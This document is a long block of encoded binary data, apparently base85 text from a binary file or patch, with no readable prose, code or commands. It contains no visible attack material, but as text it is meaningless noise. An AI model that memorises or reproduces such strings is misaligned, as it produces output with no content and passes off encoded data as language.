zo+7c1B?U6R{yr~0`{jUQ7EX%7eYBkQ=hnq=q_lI#=2lbuz`qB)myG{ByVnDz8Qj=N=WCx5I=MER8qA}1vOfK*YWAKjRkpMofqkZ zgm8#=AN}*be~GVN^=t6CK54pFt>s}kABve>0@5Q&!wUMah((OC`~3W{XL}X~aA-gN zW{tX)B>(-Ljbfd1{>b??%rS?J2E&4$NCk#kO8UJVmAL05%)pA&VDvKI9YYHD z{_M}1DXeIY0Msd3xCE0O7!~Crd)9D2zPg5-12t{h335U%E~q|S60Zcc?OI!sezzZi z7>z)YsuP8_eBwn1d0OlA+ulD8MkOlgxRlu+dz;Jr)huR6y%GiyVaWMikQ8dNOR+3MkwABXDWkc%=rmfResG^YmO%c8a_Qi(huV$&F@>#iDTrh8sA(U#4%@r;PoI= zv@*~lDeD1M^`Nlm1_t5hr!*&6kN(Np78BB0ep)smaTs33lr&mY!;Q{|jaDPK1MM|CRoN~c=-57nWpxPRU?+GOY^eoF)ct)F;b!(cGk4OytZRp#obj_^fRlVCnY~WXizg_}oLu8#(VJbBOKf%GC4im)qfFcEe6+ zbE5Mv?uO&r32DEiqO+BTLt)H3P4qLDnpjci9Pz8qkFC$Ox4h5WAnyO73&(4MZ0c#E zRL-+xNnB$0Ynv=qE@sE%0c>IHrji4eUK*@N0ZUpc{y)}4-g}9#iE1WVv3XgYHCV|| z0`(NFTTIgfttdYtAUYhu)j+3C6bMI>ZnD!Om;=-H-C9trxp&bey`2 z#r-b#w`;4vGk8s0b{cmS@{{dm6S8eh8~j!lcR_iot(5a(<2I@73P44H9!odh#&s*E zSHc5^ybNetbljx|)N)VRYaZX;`8D}CR=yASyIdbA8lbjQBB0AJOw}Y7=A$;flvKr4;?D@IMe(lZyHh^ zDE)4jW>pWMrG+UB^A?5uk@UwG3_V%2Bl4F_w2bohf~1-c#P91$bpCZl@_McgCFun@ z2Lakq87ahlnHO*Nk~mH@cgJ+vqW)$j2|j|zWMbO}DuzLsG$O`~8_dt2I`wi8kfm4& zp7E_*>7xi1OBvC{gul%&D&6}=sqm}T5R6AAd0AJZf_j&VqRFgiiIdCU6&VxUtClsm zmE<@nfqiBYW=F_vNE)M1*ok^MKUE}qvgI*#&t$adt{kZ}4=f-cdB?Nj#lXG^c9wXn zSK1)P_FJn))rS%p#U?(%du#=L??c6D7?QJ1&EAVwAA{E)bI`q6;{3Y=fD2W+>bT9XwJao7Wh+W_>6Zv~? zWuMBaFRrT0`yG_X%&Xsur{Vv4tDi0@up3zv>kptEHmd#aJGUu>`150#2p8a`K@#3j z!qKbRW6Syi2aNHxRMOJYy7IfH|7TpcGZlo7LV^;v1f(cxfaoV`5-d6z@~4vWr*luY7fh=TOAy(kQvXCXQA}1MF_iSN3tPsmk>Xh@Go1lS$7L9alycHe6kY z`u(8skS*rLXLSGg*T~H=V`sS@NX44Ufzvo70%6v#bS^NvpNhk-(Q`TWTjl1Q#=R$42C}qM zC*u?!sy#SU!OGc1E1VSQfD)SxY}>&Y8#)h@RAfSP|D-Tm)2wJfc3SGVnq`mlRoET2 z(=U*BsW`*{O23&rWa;JVJ!bCD#TrkPX6BA`k61IB*O=09V@Br~I---PK6@=H`%WVH zz0WJW5CnV#7`bI+$L6SmE9wx30$5p#+35ufhXDWLBj*&@C#_*%)`qraULqY}@6Wxq z+KNK4kxg;_B4ez6CkgvGPwF9Sm|V*IgK)!654=ubP0odt|9%(&A0UrJ@5n7em3H*~ zbMV2`p6Ov0hH|C(qwvviU*?NCTrMtBTh?W)Fd!eX%)#Eg-Zu4!wf5~Yp^|gPb+C)a z_N@7zbCtj1`(T#W2GVIG)}Ma1F0PODJB?RO&!miv^95QRai!a$&AT$CE7dm0jiE2C zU(H%W@CbfY)>VJoxljM1%0;7hZw#WF$rVQ#%(h$D??}ur>!i=|=j({W^v55(vlGW8 zr`7rae5vNb8rxHna-%4et^bhBA{i31f3E)mdJ~zzdrJ|XQ?%I!4T|HjfKv>GySAG~ zF2c!(6V_lIQ!_Y|VJITStBR?ALztVSho}VYzAF_Di!pNhelDETVEbkmYbO12?|1)) zl8-Nc?-7ll~BLnp5oM@&OwD9~gxB%M2Qx?3ZNU*HyTNL>0?pLO`~UeENJC7UZKE zAiZt~Kfgwnx>!i{v&BwWg`(Yr)5eL;r4o>Oq=^@;%fzQD3Fi6({cs}DWr>=sXZ z@c#haKq9{x6S%A>h4HoPCv!9L6DwOU}cz-ocj0;>f+L<{^Dw@G+oTOhE);<2r;U?%hr_A$<2qAnex%zz*c z3ppzoZ0vl9h+qvrXbbS(Mccqxfs^Ze;j{=230~Z6%N}cE!5NVUvB@tl=XE;pVw))j zscDan$5)%Z`-g$3Q@%|I_^0CRdGOSBaX?(RwtLG4x0#X8Aotz7cQ>EfHc+3~iXjfv z<}i8i&>KE$+b(OO9mf&D>MT~kJTRvxeFzST&LAbP^7g}~Zr2!Za~;p2o^YPtzJ15T zOP4NhPM>+22=!6V*(i@6Ki=H8gW7S-QqO14oV7N(t`1AaS|h6kJ^%~Q_nbZ*CNkQ? zq*G#^DLj)n`vOMCbJB zb<}JiJKvy@-$z0-&_`D1r|qMYnN-Z8xO40J=C*AMb;Sl<&ilcMU57>B(h)kCkch#| zJ%H2ufvK8CWptm8={9KhF`|C{q3o0Tk-o@b$jtKe+V3#eK6Iv>K7$d+T!YST9&-gm zeP@vh8SYPPAP=X-D~oeLCC&_$jlpL>NupMy56J@dY`{^# zOjgbcVB+sX~`H@_bXKFH!(a^bvfX=u-ZOSa|Qts7zW1&$0>0J4?TOLI)%w0Qdb zg>7&5eDnR&XPZagKiNF7IOk#b0p8Z<;3)m!$G5gE-Ou){;_Mtop<+dOP*hr>N77jl z%cHuIEvmZnWd7q+K@LEK8hy+sOnk(@2+4O7`XUkO7kGdc_>^6?GcGyAxM+(ki~3Mp z7t~EvWa18(xab+*;Yw*w=}*N(;4*Y(C7=~AH7IaeB7`o~m>%jssfUmq$0?!lf*M@> z6_Me^SNU~&7hHHzLRyKD;EDtda=Yv@$f+3105R~85`;?z5WdnKbi+1y^2~^~i{q)f z+)68qB$A?jq~@5)SBrqKMs}R-`sWIY48=o=)N<;y@I+VV@0yPMdJc>k5-bH_UE*GP*^#r1@ob#8)z-SP8OhD@P5Vn*Lhpb zDrW$L$sB~diHj)MIs+%gTXS0Y7D2Q-b3*81J5L-AH_h3=Vehn2oEzut9qx?{8vSg0 zh@ZCYo^XsX0FE5+SqT)je!A+bf!HpH-_2WL`=DDkV13J+AgmOE4!!g~s5e;Yu!e05 zXht%#k?A|0*}&Z^n}y6aUgYWGeVg+puG%{|XH8HyIF|N(4|hkZO-5qH1da>w#X&;< zr9P}&0m8xH&tE*>-2M5keXTHTvi4%Cr!`zH@F82k2axT#W!;B86YSYl8G}9z=fe-y zzp;^wAw3<@L?6B8um2Lgz@`U{%jDoZL97B*&S&zhNq8`)Gk|#?7 zMW%G>FqKh-J+*p(KoG%Y2TX?Kr+SjyXaR9c;7WWjrUAu&BtK=3l`A36jY#7zU9Eq@ zN|7%9SZWfPkUX?Mgh>%15$3`iDcLa~8jOlDTlrp#juP=?@HvXQZ1_o!$jkU6=8SD6 zz;;mA?Zfn{&7xx~D4*38>q?ThiF6U$5N777eNHEvqNQ<54St04!tHc1`%KlpF5b-Y z=p(jf(@f9g-{jNEm}|g^%|YT0UEbOJrC1f}C9VP=S#th;Ii}joiaKI;W8&)kU2o5t z&r<1yt-F+3JwD5~tDcCR0YBMCG|mdPb73&}<*S!zmb>e1M&`b}aPh+Cv(G>C*~uKZ z&1_}{iBEFbb~egNxR?dlcGDdR)_&YEU`{R$LH^~Vu-zEX4rZRRfB3KbIJ7kWLkXXm zZ_Wt@q`&&=D}T?UEq;Fgb9c1;Yy&{N&oO%+_$51|;3nOS9Dz zIOuWSww7YRoB{88HO0HquPjzcBaB+FCp-_dr58@mmo~Hbm92ci`NY6pcwPi+(pPXU z$jzH}hMaB9D#yY{AF;|gysM9>F_?|RL)+9**KAjZ(~5e<8SC#RrUK3|94Z_FPJhQ4 zJzC9U;)_ANK{2}lTZTj6L9eFZj@0AoyT{)1#_~Ib*dZ}i?y2vydE6l?G4(s4dXd^) z-o(PUnnMd-vt7Emw(L~dMQV)MXLdc*a_Y1M59o<3R$hb^V`pvR#^ue&w{QANikH^+ zalQo(i|^yA3szoy|KzDVFkV<5IN{LlAAPmPFTdGy(CWdTd8UV#1$~h1deJ#ap>C*h zdv*sc5&$z+zb2IEW2ST%VC&wvmYMevr&6#d`N`v|l!F$t;m|%Qu7~ zJ++h~l4`|3%yv5#TrHY%EI!1zzy=i*g+*45ieKQBIL1gCSCyVZj|_6sV*WpbNzZJk zq8*@Cv~0AevrD+va*`rh({3yxjN)~vQff?q*vA6KAd$=VJ@FlYQH{t^doLL87VXHb zSfG5B-+Erinbc`!1v|0n*`o$19SK_U3f7aNVTDE6XeN=ZNF58Payq~xPI$uzt;7F% zoyKkfKvTzN#sLa>8D7%+W3fI8w<&`=c~eo=jbKn~&ofGMy84PjX9U+sOxWJM|X% zTENHb6;@bWy=;z)i?-C$W_2-r!md3f4yv&NR|~8bSS_$xV70)zU;(x`cp`_zQ`-)T zfjk>f)=M)V2@EPSYyD%}l7|C|+54XXM+ODgYqh{O3ox*QgMjwKN(%(}L~E>cJ`6AA{0tBlPKKpZcnvD_5?@l@_mkP?~(&qB}<73JaVQv{6=2@MBQh z9TYZ!MenN8VGVb;0R6{P8<4}{$=MJu?Cc7*hw{}G#Q;P&9NW&2vn{=FAYHyp|8X`9 z%dfzm+?}{ z&|q;SFVP0$=oI({jRuhf)SyhEld{TCXo8KP8=5G#U`joOV!mtGGLTeJIFY~5a|v>6 zB8wI61G2ywZhpV-<6WJbON@EIA2qFDow5@dw3iUnTh!@6BE%GOOl;I5V@E)Shgg4k zQNbruPmf7&mAhgm`AOX>zb_~tB(xNXm{nT*2Q1KGojhU@DmuY?j?sir$rZfAJtwky zIYw@eEM?a@WGJ)FgHxRsaJ+pMxnOeXBQQO5Qbhzh-wV)L4#^5Ul1NVm`RUOY)qz@? zftI;NIWgDuNjf;g@Fx=#z=5dnN@0c;%Ad4yLTw3k%|3W>T!ihQ>@dXvwgQR0())%Q z{2Ax7O{)Rwbl(l+m7pP8m-#c}i`nNu`m4Q9F4n^K>B*gIu-VOEu7IfF%yQ4QYxhp< zS!HLy^!sUN5f$Og3aO}j$%Wa~{HNYlHQm1H0~c#&^^U&1?5gU~Taa1CtgLwGD=fmy zV`fe3NshCE0pSa__dK(sIo$U8^&37wc$&fAtxwWj?Xc3lFBV|CrVBQB><$YH8C+(t zr))P28soHJdnleUq5taM3(zqb&7sP7?|$Ng;=kB-P~ew?NVHWsFmPg&KbITXzB_%w z;abAf=X19vy88TRPJsLO?{EJ3_1Bww_wM=X1soQ!5>xMhvxqIYaC*8^!5m7|%{Jas z-fHws!(r_7Pj~Ko9Q&uozJh{*K(5fHezSo=_M!jDx2&S?BYpNP+edBFq+4dCMqi)i zvlQ#?;izE_CAg*5s6rjWL*0AR+w*Srsr8=vKCCvHj4;-4LSs$nij2wY$r0hy; z1)s}b_^ohZyR_}mFi36pIxW2i^gLzf@Nj+-TNpCNaO3(lcZlL7W!1$~bL6sJ)MJ|* z;tmY9k7Da6b6{{52HWV#dEu)Jk&WF^^;e4^(|%qRQGIXk4h}6pl-J@hA9Yi-1Ui$t zHG@q*>6t+`ePZ|@GUMOG6MXxXX;P&qNMIRYU2KU8T)-@@Qf};SQgtVk$B z<}VCs8uF!i(zmN#u(e1D6T`qKP0tnEtU#tRo{4{oglvCzF`BwunOKZf9_fuP;z2lE zmjR>rTaXt}(@$~)Rk}eSG=)M}TDnDeoh{vkoMhkx>VT}VQsFA9}w;9tOivaM)Pa@HGNbT zXf~Ev3W&>CJDA0^LPmz z&e;|OS8a=cYc}hOvn<$)TPrL?xrVC+Rtu~aSS_$x;6t$hA4?1rGt>Bqt*l_Hl;`$Q z&0h2j9_!K!d1kD$-3qhS*;Z$X+0l|whP<@9Zl(k06W}~SPd*wn7)_|b=jO*m$#jh$ zn*~m}vny=X#8y45um}!|pb~Yhwn)1Rj*9>*KTJd2+k_KyoUzqYq&~KCt%7+~|IH6d zfB5jB9ccaShLApl6wKw(gF{Ts~E6=do&LE3e5Xehzn8(DWc&$Ou~wcBZ?xq)^G?mVvww@ic&Mp z7>mTb4&{)EwjX6|I-!=(53J&-I`0+25!L%q*v!tbKnzVRUTQI(Oi;%Gls=|}S9K~* z#vkQJz^Kh4pHgDtRq)e{`_Q}#3<%4+Spo}`Ink^~i1j?5gUrT-CccV9k5#6OG1;%O zZ?b{=I z4{S$ZA2QcC!{XZI=&jRS3srnM#d4lXL9M7AZg3!I7LCz(IjlCc*)NM zxZ;D1Z0p0U`SAFi+u@BDkiG~f1&8FaeG3j11{E3fhojZ`y-pxxb(d^uHlL? z#{zzag*mt`+5oaUEY8JxE12Mr3acz^Td3%u(laRyycGC3`hMKExja*2%iMQ!`imjW zsG}c#{9*Ix@uSWC2lstTDEbp$)ex(O`}VBWIS$WTw{3;io!gshHh_oI6Gy?eYfkMl zyBSB;ZF7oTH^-_RA~g?IRXn$|EZDv(IB4wvcl$!d;=-Pft+Gh8hfzMI06&$};Z{jrPetpj(~%BdWtApA2^b@l zxjb3H;FZi0$r2kfr(BVz#uZZuDp_%O&^U$+RxS`r)g?aZrBMo{4A(~bY5YpY5Im`z zX3__UTstX0MI!%{?nb;kiFt|`QjDjd%qw^_z$#`czet2{YN46hR;p*=h1`^y9w`Kr zL;^=xPKH>nKOq=AHJ$+L>uB)EDDg{?$fp&kS|WZ*7WYw$G{6%@15NoMTWV!!fC%0% zN6H!DKa3aNXetACRcY`&iD1f@Eq8<(BJ^kl2WeR*jlOpi%K~H!*0B%{8D<^#lhUqS zNgy0<=6gt%-I~Uo$XiP8q2Nb+DA`BMB^zM5X6IM1B@_p4pS2Yir=;gZbyl?10!L+m zJ(~O^6%WmSk`nJR(z|ZocU}KOH?8-@J`5@{xX1yt4Bl}dEvqYl>jMT`vK5aH1lr8y zYj)5!1A#a(4t2d{2DE*wqt^qQvHi@#*XFcf@&S6VoeZ<6uU@_8XBIFJ!26nB84jh_ z%6B&lFktOxOPG`CoSkKH*3K5 zqHJObtJYY3NZ+dWvoMZDX-s-Tt(hV*M!E?tq-2@nu@e&4oKeNpSv3*Kz#kYw zm8as8TC&QN^Sh;UHaRo$brBBT{c|!Fpi)3)^eu#3Ol{womK{nQi^o#CZlt1=kP-7^ zrU%Z=ggRc0EJSW7DOS}}rM@U~C{L{*V+76oGNUYI2@gV2F)XRvS`DdFhvMu!MC?c< z*OE#|Rle*6s+g8!jd)tI;rXO${$Xh*4vH&m2X*y|hwLrMN3c4+N}GnXad6RsMv$fF z2wG{EZKy^2-i9_cZz+2;`;%IciTdjWttM}#C-QC5w=!lLXzKlx#Ho)-fRV`Da?a$R z@2jpJJu{3p>rn(3FtyotwK;}V&j8Y4dQTvVZDGs)+i14sHPuc;%j%!lPL51#CzIJN zjX3lESz7#({1~|Nvn$Lg@c1#ajbHdc@vpXDa<~seT`<_pzVM%Z`k5b?d&L|DYzNhS z1}~=>1J*by{_&5mH~;$OTA)MbKx57qV08t9)TcSOz?>L3nRL-F;VAR1dTbjX98|Q=kF4#TF7SkZ z;mWbq!p z)Dx#%3C02Kv^QY24DVmeS@F+rzS%smvo}8f?6b{H)63s6kGQQh%Rc^~E=@cmzGp+8 zA!!O~&)lQsURwX{0-N;{3)i}@TX5N=<~#NKM&GUCQ}&?=HWaD)@tx&~_gFR5X06lW zqi~F$@TxGe?KPx`Sd}}Gx8N;4HM~V%!)rPeFc`(9U%Yz7&bzQN3eLN@Yb(z_yZiCx zp}mXUGpB|B9z3#bqn_AG3|nzwhjjaji=WJKk(?G-AR4cTB8IE3=VY&t8OF05GyaJP zS}7oWg^oocmLbV5>d)I~BuMQ%+9mO^NQfthF-^dzjBrviiA#`@JOOh=_aWcmg^C$r zEQa1z)}9@!dX}6ZWQ!!}E0mZ{cB=FdI+pNw4?i$U@*{mc?(k7ux{%bC{7POgnFz=! ziLz!Lni7SKq;J5gvvWGe1Q2_rJ3@*?;x7W_)oH;SVI`-x(xX9^!4(5#NR5hN-JWD9 zp(`ymqoKqn1_5Ai+7{_l;xH@G59gi~D5XPFg-4~Ata>z73R0ph>W_;$B#WPoS+-ZE>sN;;gXF-zDu2fl-D#Dmq1f~vtlH`gzGjl0Vzd+57^^ps!8Ug8ATv1IjHzFv@1VbX^yr}- zg8Re<0_Xm9p{S`m@DC?@M-wNXt*RR{k z3tx3%D@kwNv~8loii__%D=usmB7GJsE*N+6%fj$K)yd+0nM9ccqTT1B_nt}iwn)Jy zqV*x$=$FgumcaSO!DRy9>fG&Xcp7xxs%pt^E8?soxB~)quwRbtEFF#?Sp_d`d|<8K zaeLbt7R(-z{}E#aBaWLe;K}55qpLfX)CbjwIV04R2H-=g|5u77mzy+DMxUeuiRdD4 zQ;DyrBc{MLp~ICantmv`?qDdgQ?VmL!izW(r#^-o9cc+3@e-XP2_Zz19LZLGLv?|( z+yF_l5v%%3aQG|FWMuj%Fv%s;k%LAO7*gr4z#@Yt#T`o+ktAjcr^;>fO*tW=B1l^B z3mey*;fN_&3RE17N&)N?K>RHcon88qa!dd(1MC^ec2HL?U9jbt_MvP}jEZ%lofBz! z#QQvwM*XZ3k_=J;2jaa3Ie;?*w1h2O+?f6o_0~t_Xb~pz8|BkNm}{6=&0}Pf%O|~N zmUAxudS-^i_QHwHSaf5}L3k%MoPK{#E5T$tPh)3&*jP)O$Y?U!%my%-?>xl0?Ry^g z1+Zt{uM0@rnFY=X28Y=eh3%l2)y}}4CT!@VnzIKOZ2aVtPki8!0l`B!2dG;Ht=U)p z?|=XM<}ZKw%jQ4+<3DVL#eE-8L>~scAK6~d%;tXk_9xea)gEjW#q+*?kKWlhD`Bv} z0_~YYw|z?}92WLF%k27CS7k4j29j+6oB?HK?$h?pEuh1`)hRu5FDS?~&PU&0Pt$8x zES_iFgZJ*;+kE}?*B(-5tcuCc{$MRu*Wj@D*qokWJE$wM|H#(dRgaR+9b+boE$i44 z3a14Q4Eiei7WHj}uim`gJU8dqihh|sq+5L1Ceizj?CUvKVE4YCYR|gdb-J%tfYkh_zW?-|gUP@RNven{drV$Wj_6xv z?V3;6?RskPX|c%+V{B%*TjlMQv&FZzW1W_Q1N7|tfYSm8#`SAgeT%5H;=-I3thivi zsC33fTygRCZGTmp#I(xe_CtrLpQrPm{B;oxt!ju#u}>jvRHVQ%Vp`B?!-+wP1Riy= zN+&^zNTHY(dIonPf+why6~8LKo@4O0y6OT3gti!0gf&`~ zJ-~P&(5`}_!qPjki7PA?(rslk(E{@-QFS)Re7r^Ho;NW{k%A?#IePVR1H}H;S)^U$ zklaFrk!VR>#z)AeXG`ycFwbfrMxruwJjM&a75jMM>g9 z3#=AcE%1I=fDaP}>3l}J4Ky;#m;p#1)Qd%AP??$WI4D@zz>hc|)Q5PEq7(9&S@ok)wuZt%p${oO1{oAZzE4QF%xvv2W1lpGlZVjl{iyZhDFyZ64huU|ptHh)ujk@@ zoc8$4oK=3FiiJ4PZs0&$uM=kh?nn9y4%+_bKmY0XDo#)8P#5eAOob}q{4)5yE%a&FwXnVc5v{mzezEvtTg`>UUoLSOU7%7L?teCfQjZY#g- z7D%7G+tJqC)dKIW1$a)L<7e+PcG{+oSulQq^WvtR|8wWItx~&nBdxgbGcN4V?w7VA zm9w9ifTFX5^uB}_VRU$A#^4IP99=i8g$$NEJU+{LtaF9r4CaCC;D4ifTjT_rxuYeP z4dmafpp-4RFv2!b&MPwPKRaT^q|qyI3tLsmAlUK+SGc7VWVO-SIU_8OE!(Yw2~fRv z6}Ic;?Fo>)1B%#F!zQ^+)rfh~C8n~7qD~8*IuOw-!wLF(q$xWzxp0$Yn4ks`zns=UiLXbbWXhJAa|K0#9l4$;EYQgeMf7?y_AbG7sgRP$z7DQ&L{~AI3W;2y=puhf zRhYz<5i(^DM}%2Hkt)le0w+V3j51kgQ`{XEmsw$P#b+*@x7k;_4rUa! zCH9SQn??mmGDHCzislL&%AF09`DYV~U?IIze<;4KaN+Xz#7s5FNVV2%CYMhNO)TeJ zz7t+or9lWs%GpIO?&mt=n9|el)7=!DZO;)ghtqdvMULp%%AVUETYMIWPrRQNm-`Md zq|W%TW#FH!cW_!To1MMg^}$Oq7*yooTFq7_F6V&Wvz9C_df~9($4U!A^Z{PBGq#6f zkW~5+;zaSS70jWs>ob1IvaGza1*jh!70i5R#=F{3#t1R3u3@G=ZL)Tt)%eGe)^mR8 z=fH84Wmu+4IGhVq_v4!%-ngUU+wZ=0ry{Ers6%}OaiBI1MEVUJ7PoABldCrPMjHq# zoyTR>T8!D9eu;j7t*2Pgfz#rl%}V}}Lu=iclAnvA4}9zW9(lj~@^f^gWSm-lJH5Ru zOFidD%P-@%6KH$$ax{Kl+%T$F6Uiq?fX$GVBsI%PqDstn0T_Iwc?7v2XOJ+=xf1c*d~B?E>?N*W4XM;dpDb`Y6+B@Bi3mP~KN zzu7nrv;7@z$Yp!znzADaX?~UX5fF0}BxwSKFtSVSKcypD5*H#Whwi7uRT<(gK9tK~ zWf?#v4G%9jq5bnKF(lPVgna#t<6hDuQd=%DgGN%fi^l`N$1g22!2`O}zq5<4FpvX>KGiindmAmqCF}mlksdq>xficn> z_Y4|j{rgoiBsH;(nRQy_vW3OR!J9yii7{JXRmD(Kb4`&oxg1vebR{Z?>>$<|?q_rdZ2nP6HzkcIe$>CsnY4wG} zvwYn@efo^|8P}};;81Iv2lOGdg+n?Oafq=RjBV_+D(t!SarMQD3Y=oB&I(Bmj>^x^XHwbdrJ#i04j=7*Z6{;eB(c2LmR9 zmGQy|y!<8{{*wyqktQ`wzwz-S6Z9|S2~1(dOLSeO(%T8BZZR6?zH>_%#ny+lSzI;lp=LTkFcdj zs)suFX7N<&pqd*^UGZrxeb}BIQOY8~|(X@ai(MeuJ zjLEbIU6LCmCk7>B%adXP*Xf9mrRA8DR7nj?(9sTEu zqYpJ_>2{Uv`18+iZDqwPA8dT~EX-#A=_giKgb!R*-MMoN{Mm=`o!jQLz+rLG2J{%r zJB)7rfo?K!INY)UPUK#*8QE+#^MlRi{>{&iGwIeTF&i33%isV0H=D74#vK+6REFOf zcVesqkGal|Gsed^brhTyI(R#5-SyjV*&%^b>W!T(z^Wfs{Dd~iHa=y0J8b_r)lSk# zE4Qc89Xp7tNcyKRXzmDVJa9?o331 zZL(zHuA)<(w`aZIx?x*T-FAlshi~KD^g*A3-OtwEURfDf&4Z&1hYQY6$1U)NqG52V z%-L3!5^rjJ_wrAbunlkO`_fdrZL)^)WX)kKWQyG8GHjPv^R|#8V@!LB?nXG)zH58e z>6V%`-?8_=Ui)quC`xQpL`zPOzZ7qot+sES9-~+OSlB9ORldpPs`*uXk~%fKrZYsX zxHxYP-y8N`^zrRmn@>N!v$^-l$D2Ff-rIb8?}49l@#y;}wzZ-?L(LJ(BmfTOuAfs` zTrgz%TiG>_$Ha`3A0l}ii*&2*W+L_8*o3$2~ z$WsK7++_wZV)TTk!j3}5O#C`Z>@szJfM9bJYR`MN-XLgE-Vt^kg z17J}Q)^;xQJYLhMbc*yyh5$Y69w1QJTaR6)m5SHE3)tn~$%rM<8sBPxbQ5D-wI~?tQJ@;(6j)vqj6MlHpKV# zamxTPFnz4>;=yB*!Mor%U~82dK0Er5P5?dxH7lC~zQ6e5i_Lf6edmLTb}qONW^0S6 zUw{402TLgfda?=xhYBk~E?&G~`k%5H{iiHkpZCp%a6}o@0Y3(?SvA8JK{ziM7^cnP zsNljO#o+gkKZZeY+9dV8UMI@}q5lYHjXXDJA}cLahoz>}u@2k5b?dg@o3w#L-;=)b ziuZn76?WOeumx3r)kG-AvwUWXIWJhTwO*?QRtu~aIB6E>t+=q~=oQ|1tdCVw(g+I^lKr4+}IZ znrRs#SCgx2MtRJ4S!2EvG80jnq&#JFVVS6sbn2X5O8D`q7yLt*SeQ@7K; zpm9x{rZ#k+QGlcd(n6R9mz}0zZ^0VVd!oL*c3O*^$fqW2rso=9ay4#e+{>L!1VJ)R^W<0S1GQrl^-1f4S*-+-hb~{A+e#3fq z_&ZYEcKc&L_eYN&Z|>c@zj^%lvCS}k8TOtJFF^i`X1@sc|$nE8xD<%b`BH2uQ47H{8%k8k9J8TmhW8UFjf|LOzb=o_|&Iv=;5 z;T`O7`tDoa4~ZUU)CC)4xnzSYa#~P_8tkTz&*ogJ?=s%GSy}Ok^&dDsxi6=zUI^u@xlJ!MD>#B<%-;L04?A-< zZb4Pm70xmGzx($?KZxTN2g{U;Ho3%=+jY%t_wv`ALVBLQ%fAl|Yc=+Mx0DseNkUc2oXM4VOrsvHf2_xOsuWu`9MG_+7j zAFrPtK?SJG*U-PVTdzDdABm~?)#-|kVxP9vu2<|?>MKlbjN`T)$bHvVmEE;I_vSa> zZN9tzz_y9{e)H5;Td)%DN89p_XDyBk87i4CM(VWiq-GteTGYOjPJAkYJl+Ea*u$8e z#Ri7rdgN)ORiMT-EMzDq*1IuW0EAN@ap@rV7-UvwW(2aLBN|}lM?1&eHQqWm+ zxp#OeYpTdt&TOX+w~<5?CYdAHyJX{-U_}Kp53bmQ{F2SMpH z%@6D`Z$I?LiSg^N?3Hhyr}ksZ1Gcwf@RR}3Pe1w8S6k?83wRxJRmh=j@jmgV9xh%m zhedJtHqNN>QoRO;1$Auiukl^6{^l&{*7(s_fcoLQhldYs-*j93^vL>px1aLif7yZNCnpNVWv3OOwZIhz8w+7~*|pK$&L&KJ(aDOZ}M0j@(U zyYe5j0Jr?q&(T2!EAYLszyXH}-f0`rpPfF(nP29hWrC*lub1uFs&S7S*RI&v7FRb9 z9)G`i^7Q%UxlK&*E&QzCbH_#ba9!9E+`HTBO&E1JpomZgvLvK*R%EnxFGA7%eWFy- z?E$p`OL%5@uoy+;3S#R5hjbXlGmMzcGm7V#(kTqAnt!{pnrMq7W~7hxknJeGQYzBNn;@WrQ*#S+qVDE` z9{AKAPwyOarAufEqx6)P*u+0Y0*dw|tiYK*#WIFWpfKI=(T0l%Sbf7tr^vs}rVwDwkXSJu^{=l3feW~)#E%->aN%hI)hy=e)EYDoNll#%h z#Fg4x@7YlE=T zqSRLo7zR-P`>%i9Ts56_*e)OS{MPHR7SQ+0HYwBtgU6T55q7~G7iTr|y?D#xb%Yt9 z+P*?iPG)1!v3bi*39d*m9PNU(qfo^mEKRHNo(zLeF^x86r2HsG?aq^AN_=4- z>8~tDi;3E-=oPZ;uLvU0Wffqu`}9G>AYKd{6E68uL4*=>1g=*i$UagklUXeM&%7<> z`4OowMK*fO6Tc2I3Cou*3Dv-Y_3)Figdr-WYl;TE0Ty*Hy9bDJ9UfXOa zA$UDnS);SCFf%1xc6w+0$R1AP=6_<3DBkC+~%+lBz6_)B^z65E1#H-M;f-o|ZK zp2Sd~xKt}jv~-HOg93#=AcEwHQw_^@NZku6IZMLtpOj}Z{5klASq?SdGW@aE(|>W;~)R23Yj{u#Xb_vWMg7)oD!h`~Td+mEtrD6>#9MVIT%R#&ZCD}gS$Tw93O%vlpZe9e zrR#zskA)RB<(^}81=}bQKDT}ZhiBP;P<{r^&e*+o+CuF9gY_{uM^9Pba_Dp9RPP)* z%SAiWnJH=?z|on$552y(ty5TO!H;&z?;!nMY>UX>=TaLZL{I4}-GS@3kDTMAo%C6G zoC>b84{m{@8#Oq1Q4S}7J|Ol3XRW_IckZm8-^q4S*X$kW#`S9!Uh&_ROAj^={ZQ@~ zHVNd7of-Ak9T%J*wd?aylXJbU2A|dS6B1JZQ|)T}OC}Or>2@fcOA6vc65*2aEMg^& zDgf~>W{Jm%Y!yV5^->9&nS_&g&m^6O?#u`DZP;oW(-ABc zs3Swb5!z$OHiv~YRVZbZF0~R&{xhYEiga@Oli0*a^1vvgfn zMJ9>K9;T7wUKT1tQ!E!Gfd(TJ^c|$DfHN#qQC7(@y+`!b3qr*;Cr9Wr;z(?6fk&!K(nj?c zqQa^?Ew!fdP5qMikA;)VHO6SS{PFuF@SR<*sLoXW^R=I7xS5Qn*7IbxRr{JuckGC* zJK?AmJ4`(iaCu9#=Nft6eDlrbq78`Sun33l2L0V>v97dmdrkT? z_MT8NnbN-Hh@w5oVUgd7yA0u%ewNkZ51e+vz%xH)|I^0#(XKT>EnZzI%cSZas8yzA zq#Yj@`Uvd$&wu{Yw_sycf}EYHeyo4^$nG;y@hk7G)MxJ~ zYlv)q{ndBJ5Z5+Lb(y&cGEB4U`{daBYnI=V+l3d+v71q)tQxylo$lu5RL=}8!XBdY zXxXV{hZelWC-nzeV~_RPPtO2>phaK9d;BDCsyT+uGc-ga&fCMfJXJ%Ou76d4ijQ?_ z9X+(-A1Zc}pfBM5_th3Q4s!d(bvxVQ*5=O58=G(JY>Rsj9@_a9Pd87W1;+)?(BG^t z><`#TOpqt3^|%;gLAtz*F|Bq}*HdUW%H{dqHF;|W{7`$7DY9;%6sQ0U&6HQ#&FMTN z<;EhIUU3{y8fpYLAY^>WmIUEPMmdNiiBjg$cwyEs(Ii}tSjiIrlp#w1?jY64#Ji42 z@7~!Kk)6~`^&SDTllW!n#8k)-dVORBClQ9|%XXAt9tng!eDaF6*QFs9=(1TVK4KX4 zN>+{OKEEy`x9f^gLJRPG-;*}xiGQSv3W`f2Z$wn&RIU_>1d;#56&7GiBZUK!N41Lx zHQpAM15(~wP;HiAbAw`^e&!B#7-po#GRP3Qv3^ud@_}TQ;`du~0s`qMv)dC-|1sK3(FpiZ7?A=bB0ld;#fq59*XRx31D+oCt`4EF&V^zWI z>`V61eaD;@fBfpJw2I=5IVSkP=0}?8i1oGxR6 